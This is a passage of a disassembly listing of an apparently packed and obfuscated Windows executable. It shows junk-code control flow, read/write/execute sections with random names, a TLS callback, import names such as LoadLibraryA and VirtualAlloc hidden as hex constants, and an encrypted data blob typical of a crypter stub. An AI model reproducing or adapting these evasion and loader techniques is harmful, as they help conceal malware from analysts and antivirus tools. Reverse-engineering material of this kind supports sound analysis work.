sub_42859A loc_428C5E: ; CODE XREF: sub_424631-FC5j mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_425EA4 sub_428C4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428C75: ; CODE XREF: sub_424631-FCBj cmp dword ptr [ebp-10h], 2 jnz loc_426894 jmp loc_4230C9 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_428C84: ; CODE XREF: sub_423BC3:loc_424FE3j mov ebp, eax xchg ebp, [esp-4+arg_0] push 2173D128h xchg ecx, [esp+0] mov eax, ecx pop ecx or eax, ds:4000F0h xor eax, 43105B17h jmp loc_4270E3 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- call sub_427B7A ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428CAA: ; CODE XREF: sub_425BD2+1C28j jmp loc_426235 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_428CAF proc near ; CODE XREF: sub_4278DC:loc_427A24j ; sub_425BD2:loc_428DA6p ; FUNCTION CHUNK AT 00427048 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] mov byte ptr [eax], 0 push 99D469C7h add eax, 7F96339Ah jmp loc_427048 sub_428CAF endp ; =============== S U B R O U T I N E ======================================= sub_428CC9 proc near ; DATA XREF: sub_425E49+7o ; FUNCTION CHUNK AT 00423E25 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425B86 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004288C9 SIZE 0000000B BYTES push eax call sub_4278DC test eax, eax jz loc_42476D jmp loc_4288C9 sub_428CC9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 3560E78Eh push ebp jmp sub_4248F9 ; =============== S U B R O U T I N E ======================================= sub_428CE7 proc near ; CODE XREF: hjohnhn9:0042331Bj ; sub_4263C7+7p ; FUNCTION CHUNK AT 00428B0C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E3C SIZE 0000000A BYTES xchg edx, [esp+0] pop edx push eax call sub_42345B jmp loc_428E3C sub_428CE7 endp ; --------------------------------------------------------------------------- push 4F6CFCF7h jmp loc_42430F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428D00: ; CODE XREF: sub_426F85-EA0j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] jmp loc_4277CE ; END OF FUNCTION CHUNK FOR sub_426F85 ; =============== S U B R O U T I N E ======================================= sub_428D0E proc near ; CODE XREF: sub_427C53+3j ; FUNCTION CHUNK AT 00423B92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004277C5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428C07 SIZE 00000020 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_428C07 sub_428D0E endp ; =============== S U B R O U T I N E ======================================= sub_428D1E proc near ; CODE XREF: hjohnhn9:00427A2Bj ; sub_42304F:loc_428079p xchg edi, [esp+0] pop edi mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] call sub_427810 sub_428D1E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4250C3 loc_428D2E: ; CODE XREF: sub_4250C3+7j jmp loc_428F58 ; END OF FUNCTION CHUNK FOR sub_4250C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_428D33: ; CODE XREF: sub_428D64:loc_426A58j mov al, [ebp-0Bh] mov ecx, 8 sub ecx, eax xor eax, eax mov al, [ebp-9] shl eax, cl jmp loc_424286 ; END OF FUNCTION CHUNK FOR sub_428D64 ; =============== S U B R O U T I N E ======================================= sub_428D49 proc near ; CODE XREF: sub_424877:loc_4265EEp ; hjohnhn9:004272DFj xchg eax, [esp+0] pop eax add esp, 0FFFFFFECh mov eax, offset dword_425AEC call sub_427C43 push offset sub_428ABB jmp nullsub_84 sub_428D49 endp ; =============== S U B R O U T I N E ======================================= sub_428D64 proc near ; DATA XREF: sub_4262C5-2E5Ao ; FUNCTION CHUNK AT 00424286 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426A58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042876C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428D33 SIZE 00000016 BYTES mov al, [ebp-0Ah] and al, 7 mov [ebp-0Bh], al xor eax, eax jmp loc_426A58 sub_428D64 endp ; --------------------------------------------------------------------------- add edx, ecx sbb esi, 0BF9BA491h jmp sub_424B30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_428D80: ; CODE XREF: sub_423B05:loc_4263DEj push 0C5B0C62Bh pop eax add eax, 63E2D2B1h sub eax, 0B9943B0h and eax, 4310F3D6h add eax, 0B61FD10Eh jmp loc_4233E1 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- locret_428DA3: ; CODE XREF: hjohnhn9:0042908Ej retn ; --------------------------------------------------------------------------- loc_428DA4: ; CODE XREF: hjohnhn9:00423593j mov [ebx], ebp ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428DA6: ; CODE XREF: sub_426C09:loc_42361Fj ; hjohnhn9:loc_4251A7j ... call sub_428CAF loc_428DAB: ; CODE XREF: sub_426D02:loc_42326Aj add eax, ebp push ecx push 57FC02BCh pop ecx xor ecx, 297E2B69h rol ecx, 2 jmp loc_425D5B ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_428DC2: ; DATA XREF: sub_4281B9+11o cmp dword ptr [eax-1Ch], 0F6h setz al jmp loc_424EE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428DD1: ; CODE XREF: sub_424631:loc_4249A3j push offset sub_427D9D jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_428DDB proc near ; DATA XREF: sub_428271-39Ao ; FUNCTION CHUNK AT 00426A92 SIZE 00000005 BYTES xor edx, edx push edx push eax loc_428DDF: ; CODE XREF: sub_427852:loc_4242E8j mov eax, [ebp-18h] add eax, eax push offset sub_427E54 jmp loc_426A92 sub_428DDB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428DEE: ; CODE XREF: sub_427486-28Ej jz loc_4288D7 jmp loc_42736F ; END OF FUNCTION CHUNK FOR sub_427486 ; =============== S U B R O U T I N E ======================================= sub_428DF9 proc near ; CODE XREF: sub_4265CD-32E0p ; hjohnhn9:004266EBj arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg edi, [esp-4+arg_0] retn sub_428DF9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E01 proc near ; CODE XREF: hjohnhn9:00426AB4p push ebp mov ebp, esp push ecx mov esp, ebp sub_428E01 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424698 loc_428E07: ; CODE XREF: sub_424698:loc_423AD2j jmp loc_424757 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_428E0C: ; CODE XREF: sub_427C9B:loc_424208j ror eax, 0Fh mov ds:dword_423390, eax retn ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428E16: ; CODE XREF: sub_424631+30A8j jmp loc_425164 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_428E1B: ; CODE XREF: sub_424698-D98j rol eax, 0Fh push ebp mov ebp, eax push offset loc_428F02 jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- or edx, ecx jmp sub_423753 ; --------------------------------------------------------------------------- and edx, ebx jmp sub_4240BC ; --------------------------------------------------------------------------- loc_428E39: ; CODE XREF: hjohnhn9:00424DDDj xchg eax, [esp] ; START OF FUNCTION CHUNK FOR sub_428CE7 loc_428E3C: ; CODE XREF: sub_428CE7+Aj push offset sub_424D99 jmp loc_428B0C ; END OF FUNCTION CHUNK FOR sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_428E46: ; CODE XREF: sub_426749+1j mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_426E54, 0 jnz loc_423741 lea edx, [ebp-14h] mov eax, offset dword_426E60 jmp loc_4281F8 ; END OF FUNCTION CHUNK FOR sub_426749 ; =============== S U B R O U T I N E ======================================= sub_428E65 proc near ; DATA XREF: sub_4278F6+4o cmp ds:dword_423940, 0 push offset loc_423C44 jmp loc_424918 sub_428E65 endp ; =============== S U B R O U T I N E ======================================= sub_428E76 proc near ; CODE XREF: sub_426A30-213Cp ; hjohnhn9:00427217j xchg edx, [esp+0] pop edx mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_425B24 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425B24 jmp loc_427E4F sub_428E76 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428E98 proc near ; CODE XREF: sub_428CC9-3FAj ; FUNCTION CHUNK AT 00423E17 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424FDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042707F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428A97 SIZE 0000000B BYTES push ebx jle loc_426FE4 test esi, 0C845AEE7h jmp loc_423E17 sub_428E98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_428EAA: ; CODE XREF: sub_424A28:loc_4284A7j or edx, 0DAC2EAFDh xchg esi, eax and eax, 84FD1F4Dh adc edx, esi jmp sub_42677F ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428EBF: ; CODE XREF: sub_42325E:loc_4231D4j ; sub_427C9B:loc_4271AEj call sub_424946 locret_428EC4: ; CODE XREF: sub_428DDB:loc_426A92j retn ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_428EC5: ; CODE XREF: hjohnhn9:004245FDj jmp loc_428363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428ECB: ; CODE XREF: hjohnhn9:00423C80j jmp locret_4285D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_428ED0: ; CODE XREF: sub_424819:loc_426875j ; hjohnhn9:loc_426889j rol ebx, 14h cmp ebx, 0D223451h jmp loc_423EC7 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428EDE: ; CODE XREF: sub_426A78:loc_4250D5j xor ecx, edi jmp loc_426573 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_428EE5: ; CODE XREF: sub_427E54:loc_423E31j add eax, [ebp-4] mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_427E54 ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428EEB: ; CODE XREF: sub_426F85-EB4j ; sub_426F85+11CDj ... mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428EF2: ; CODE XREF: sub_428271:loc_427EC8j ; sub_427852+AD7j inc dword ptr [ebp-18h] jmp loc_425156 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- rol esi, 4 jmp sub_426AF6 ; --------------------------------------------------------------------------- loc_428F02: ; DATA XREF: sub_424698+4789o xchg ebp, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_428F06: ; CODE XREF: sub_426D02+10j jmp loc_427458 ; END OF FUNCTION CHUNK FOR sub_426D02 ; =============== S U B R O U T I N E ======================================= sub_428F0B proc near ; CODE XREF: hjohnhn9:loc_426AADp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423598 SIZE 00000010 BYTES push edi mov edi, ebp xchg edi, [esp+4+var_4] jmp loc_423598 sub_428F0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428F16: ; CODE XREF: sub_427852-DAAj add eax, [edx+20h] xor edx, edx call sub_428271 ; END OF FUNCTION CHUNK FOR sub_427852 ; START OF FUNCTION CHUNK FOR sub_42325E loc_428F20: ; CODE XREF: sub_42325E+58FEj xor eax, esi push offset sub_42420D jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_428F2C: ; CODE XREF: hjohnhn9:00424BC9j jns loc_423533 and edx, 0B8C2C0D4h jmp loc_42706D ; --------------------------------------------------------------------------- call sub_4262C5 xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428F45: ; CODE XREF: sub_42304F+1D45j jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F4A proc near ; DATA XREF: sub_425CB3+B09o push edx mov edx, ebp xchg edx, [esp+0] mov ebp, esp push edi jmp loc_4249D7 sub_428F4A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250C3 loc_428F58: ; CODE XREF: sub_4250C3:loc_428D2Ej cmp dword ptr [ebp-4], 0 jz loc_4244EE push offset loc_426255 jmp nullsub_94 ; END OF FUNCTION CHUNK FOR sub_4250C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_428F6C: ; CODE XREF: sub_427F90:loc_4275E4j xor eax, eax mov [ebp+var_8], eax loc_428F71: ; CODE XREF: sub_42486B:loc_42836Dj jnb loc_42849F mov eax, [ebp+var_C] cmp byte ptr [eax], 0 jnz loc_42712D mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_42440F ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_428F8E: ; CODE XREF: hjohnhn9:loc_4240FFj ; sub_426C09-D89j jb loc_42654D jg loc_42895C jmp loc_428DA6 ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_428F9F: ; CODE XREF: sub_423BC3+3EC4j adc esi, 0EEB2035Eh xor ecx, 62F29220h rol esi, 0Dh loc_428FAE: ; CODE XREF: sub_423BC3:loc_427A7Ej rol eax, 16h xor eax, 12060420h xchg eax, [esp-8+arg_4] jmp loc_4260F9 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- xor ecx, esi jle loc_428675 jmp loc_423FA6 ; --------------------------------------------------------------------------- loc_428FCC: ; DATA XREF: sub_42790F+8o xchg ecx, [esp] mov edi, ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428FD3 proc near ; CODE XREF: sub_427486:loc_4288D7p push ebp mov ebp, esp jmp sub_426D02 sub_428FD3 endp ; --------------------------------------------------------------------------- loc_428FDB: ; CODE XREF: hjohnhn9:loc_4266B0j inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425BB8 jmp loc_427F64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_428FEC: ; CODE XREF: sub_4278DC:loc_427F70j pop edi push 0FA4754E4h pop eax and eax, ds:4000F1h add eax, 403CEF18h mov eax, [eax] or eax, eax jmp loc_42808F ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_429008: ; CODE XREF: sub_425BD2:loc_425AE1j pushf test ebp, esi jmp loc_424454 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C8 loc_429013: ; CODE XREF: sub_4279C8+Aj jmp locret_426832 ; END OF FUNCTION CHUNK FOR sub_4279C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424946 loc_429018: ; CODE XREF: sub_424946+11j jmp loc_4281EA ; END OF FUNCTION CHUNK FOR sub_424946 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_42901D: ; CODE XREF: sub_427564-3858j jmp loc_42825D ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_429022: ; CODE XREF: sub_424161-CA3j jmp loc_4231F0 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_429027: ; CODE XREF: sub_4236A7:loc_424F57j cmp esi, 0D7B1D993h jmp loc_424BAE ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_429032: ; CODE XREF: sub_4260BD:loc_42873Aj mov edi, esi xchg edi, [esp+0] or esi, eax jmp loc_423BF1 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_42903E: ; DATA XREF: sub_4279C8+5o xchg esi, [esp] mov eax, esi pop esi pop eax push eax push offset sub_423D67 jmp nullsub_95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_429050: ; CODE XREF: sub_427C9B:loc_4271A9j jo loc_427B9C test edx, 606EBC7Dh jmp loc_42858D ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_429061: ; CODE XREF: sub_4287BF:loc_423767j call sub_428436 test al, al jnz loc_4268DB mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_42867B mov eax, [ebp-4] inc eax jmp loc_42757E ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- loc_429083: ; CODE XREF: hjohnhn9:0042910Dj or edx, 0F4A62BC0h loc_429089: ; CODE XREF: hjohnhn9:00429101j push offset sub_4275F9 jmp locret_428DA3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429094: ; CODE XREF: hjohnhn9:loc_428368j cmp dword ptr [ebp-8], 0 jnz loc_427A11 ; START OF FUNCTION CHUNK FOR sub_426354 loc_42909E: ; CODE XREF: sub_426354:loc_426E07j ; sub_427A07+4j call sub_426354 loc_4290A3: ; CODE XREF: sub_426523-285j jmp loc_42875B ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4290A8: ; CODE XREF: sub_4263E3+8E0j push offset sub_427FDD jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ror ebx, 1Bh jmp sub_424361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_4290BA: ; CODE XREF: sub_425BF2-A6j ; sub_425BF2:loc_427260j push 0 push 0 push ebp mov ebp, ecx xchg ebp, [esp+0Ch+var_C] call sub_425CB3 loc_4290C9: ; CODE XREF: hjohnhn9:004273ADj jo loc_4281A3 ; END OF FUNCTION CHUNK FOR sub_425BF2 ; =============== S U B R O U T I N E ======================================= sub_4290CF proc near ; CODE XREF: sub_4241F3+Fp ; FUNCTION CHUNK AT 004246A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426F70 SIZE 0000000D BYTES xchg edx, [esp+0] pop edx jnz loc_426F70 jmp loc_42807E sub_4290CF endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_4290DF: ; CODE XREF: hjohnhn9:loc_424922j ; sub_4244F5+54Cj jmp loc_42439F ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- loc_4290E4: ; CODE XREF: hjohnhn9:0042399Dj jmp locret_42335B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test ecx, esi jmp loc_423604 ; --------------------------------------------------------------------------- loc_4290F1: ; CODE XREF: hjohnhn9:00427845j pop ebx or eax, 0BA9D7AC2h rol eax, 0Dh and eax, 6F6E6B99h jns loc_429089 ; START OF FUNCTION CHUNK FOR sub_42851A loc_429107: ; CODE XREF: sub_42851A-1B2Ej jmp loc_424A07 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- push ecx jmp loc_429083 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_429112: ; CODE XREF: sub_427C9B:loc_42451Cj push offset sub_4275A3 jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42911C proc near ; CODE XREF: sub_424771+6j retn sub_42911C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42362A loc_42911D: ; CODE XREF: sub_42362A+10j jmp locret_426FC1 ; END OF FUNCTION CHUNK FOR sub_42362A ; --------------------------------------------------------------------------- dw 890Fh dd 0B8A15B77h, 5E3195A3h, 8EEB8AB8h, 48ECh, 3B3h dup(0) hjohnhn9 ends ; Section 5. (virtual address 0002A000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 0002A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute fzj3qwht segment para public 'CODE' use32 assume cs:fzj3qwht ;org 42A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing db 0CCh db 0A0h, 2, 0 align 8 dd 0FFFFFFFFh, 2A03Ch, 2A0B4h, 2A108h, 0 dd 0FFFFFFFFh, 2A0E8h, 2A104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_42A0B4 dd 77E79F93h ; DATA XREF: sub_432992+28r dword_42A0B8 dd 77E805D8h ; DATA XREF: sub_432992+37r dword_42A0BC dd 77E7A5FDh ; DATA XREF: sub_432992+8Er dword_42A0C0 dd 77E75CB5h ; DATA XREF: fzj3qwht:0042FE57r ; fzj3qwht:0043174Cr ... dword_42A0C4 dd 77E7980Ah, 77E79E34h, 2A04Ch, 2A060h, 2A070h, 2A084h ; DATA XREF: sub_432AFD+1Eo dd 2A094h, 2A0A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_42A104 dd 77D6ADD7h ; DATA XREF: fzj3qwht:00430CDAo ; sub_432A49+64r dd 2A0F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: fzj3qwht:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: fzj3qwht:TlsCallbacks_ptro dd 0 ; =============== S U B R O U T I N E ======================================= sub_42A134 proc near ; CODE XREF: sub_431F5F:loc_4311F0p push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_42A13E: ; CODE XREF: sub_42A134+21j lodsb shr al, 1 cmp al, 74h jnz short loc_42A154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_42A154: ; CODE XREF: sub_42A134+10j dec ecx jg short loc_42A13E pop ecx pop esi retn sub_42A134 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset dword_422000 dd 200434Ah, 0 dd 47BC0000h, 111D2091h, 0B00A1208h, 41D80008h, 0DFA49ED0h dd 0F41630A3h, 13EB709h, 0C84F4287h, 74138925h, 5D84A3C9h dd 5268E94Ah, 2011F980h, 62020E34h, 15B9A915h, 198C0C1h dd 0BA303B90h, 608A0022h, 152E8584h, 0A7141AC3h, 0E6528B52h dd 6244A64Ch, 0AAC5EA21h, 90356825h, 9112A14h, 0CF50B25Bh dd 402FA6D4h, 28B4EA55h, 0C618A7D3h, 80C01AA9h, 9554AA74h dd 305D24C1h, 66BEF07Eh, 94CB5738h, 0D15B9C00h, 0E45C7D84h dd 82074D8Ah, 2DD29DE6h, 0DF63147Bh, 245CA06Ah, 90203764h dd 1690DDCCh, 76BA516Fh, 0E8764703h, 0CBD20C59h, 5205C3C6h dd 82D4C9DEh, 4804B48h, 1FBAED06h, 8829270Bh, 0CEE1DD0Ah dd 0DB8E1BBDh, 916072B4h, 2244D98Eh, 1DDCh, 0 dd 30000000h, 434A0042h, 6132h, 0 dd 20E078D7h, 4C611F97h, 0A7FE4B9Fh, 65E192C5h, 0D17E9892h dd 9E4C6E17h, 0B7FE0400h, 24F002CFh, 0BA2DC301h, 9D2D9C05h dd 7465D2D8h, 0E98246D1h, 3E985088h, 81AE82DDh, 0FDB1180h dd 0D17F0098h, 5383E085h, 22EDEC6h, 72990B86h, 427930FCh dd 255E8644h, 89D8A1D9h, 9D50A413h, 3FA8742h, 6C37C079h dd 0F8E83175h, 88C0D561h, 703D3EB5h, 0C683EACEh, 0C3F157A8h dd 611126DBh, 4EAB781Fh, 5CB25190h, 0E717F9FDh, 0AFB2DB69h dd 7E5E0387h, 73BB830Eh, 9F710FC2h, 0C125A11Fh, 0A6E6DA2Fh dd 0DC4F97C7h, 0FCBFBF0h, 781CF99Eh, 48127E1Fh, 981F5703h dd 0C28EE474h, 13EF401Ah, 6D676D20h, 94D1E4AEh, 0C2500D49h dd 5C110CC8h, 24EA3F18h, 79E492BFh, 68A4CA62h, 17BADF07h dd 87024B99h, 6BAADA39h, 0C79AFF2Dh, 0F338AFE0h, 8D008B50h dd 979C4D8Eh, 0A297BA22h, 0DDA9ADC9h, 0E2F9158Ch, 0F276BA6h dd 0EA67B824h, 9B593D7Eh, 605EED61h, 0EBB8B82Dh, 42721D10h dd 9E05A363h, 48107EA6h, 0D627F801h, 0DDE4171Ah, 4F015004h dd 8E311E1Dh, 46D121BCh, 0E92D80A3h, 0E5C6A880h, 7E2A07E9h dd 58BC84E1h, 0A0A045E7h, 4EF03EAEh, 7129D7Ah, 6B232D29h dd 0ABEB2D12h, 0DC632117h, 0F50F0841h, 0E885980Dh, 0F4B5A6B9h dd 3D18A697h, 36B45FE5h, 3164606h, 300A3F5h, 9CF0C7DBh dd 7FEE015Fh, 0EE5F0F0Ch, 92565B8Ch, 0CF28B880h, 0F18A227Bh dd 0EC0B3D99h, 7C3F1BACh, 94824607h, 0E278974Bh, 2553CB81h dd 6846796Bh, 80338D99h, 0D2D43B6Eh, 0C5B41C3Ah, 0DDFE4585h dd 0BCD1A003h, 3D7E3D77h, 865FF1B6h, 0A0DCEFADh, 78935ADEh dd 1E39246Ah, 939143C1h, 0D15BD4F0h, 4363BA0Fh, 0EA89D752h dd 0DA2195C9h, 987BEFF4h, 585E034Bh, 98A8F01Bh, 0FD3F1F7Eh dd 0C59A7BB3h, 0D2822436h, 0AA834CA7h, 47701259h, 0C015F3FBh dd 94C30142h, 2D3440Dh, 89004DE0h, 0E86A1591h, 39E5FD00h dd 0C7D58A01h, 5FE5E383h, 0C8876260h, 0BA899D08h, 3DF6F444h dd 0B6393534h, 48754386h, 143B5D46h, 0F851459h, 4515059h dd 524B151h, 0CBFBDEB8h, 0D0131C22h, 0B22E7351h, 930C3CD2h dd 4836D4DEh, 1E2CE558h, 0FF8E7317h, 0BFD7B03Ch, 6FB686B3h dd 47055DF4h, 9262A378h, 21BAFC4Fh, 0EAD0FC6h, 6CA6E1E1h dd 0F7EB3671h, 0A99AF361h, 0C96B6623h, 6DAFD0E2h, 0C22BF9C6h dd 31D99C6h, 0C222B1A1h, 87EBEB6Bh, 0CA551FC3h, 53E8529h dd 0BE89469Ah, 4DEC057Dh, 0D4F30F1Eh, 81992359h, 0B4F548D4h dd 713EC53Eh, 28414528h, 9BCBD4ACh, 60E70B2Fh, 0D718D84Fh dd 0FAE2150Bh, 